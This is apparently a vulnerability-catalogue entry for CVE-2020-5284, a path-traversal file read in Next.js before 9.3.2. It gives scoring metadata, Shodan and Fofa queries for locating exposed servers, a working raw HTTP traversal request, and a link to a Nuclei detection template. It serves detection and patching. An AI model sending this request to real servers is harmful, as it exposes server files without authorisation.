| Title | Next.js <9.3.2 - Local File Inclusion |
|---|---|
| Author | rootxharsh,iamnoooob,dwisiswant0 |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure. |
| Remediation | This issue is fixed in version 9.3.2. |
| CVSS Score | 4.3 |
| EPSS Score | 0.79765 |
| CVE ID | CVE-2020-5284 |
| CWE ID | CWE-22,CWE-23 |
| Shodan Query | http.html:"/_next/static"cpe:"cpe:2.3:a:zeit:next.js" |
| Fofa Query | body="/_next/static" |
| Tags | cve cve2020 nextjs lfi zeit vuln |
Next.js versions before 9.3.2 are vulnerable to local file inclusion. An attacker can craft special requests to access files in the dist directory (.next). This does not affect files outside of the dist directory (.next). In general, the dist directory only holds build assets unless your application intentionally stores other assets under this directory.
GET /_next/static/../server/pages-manifest.json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-5284.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-5284.pcap
N/AN/A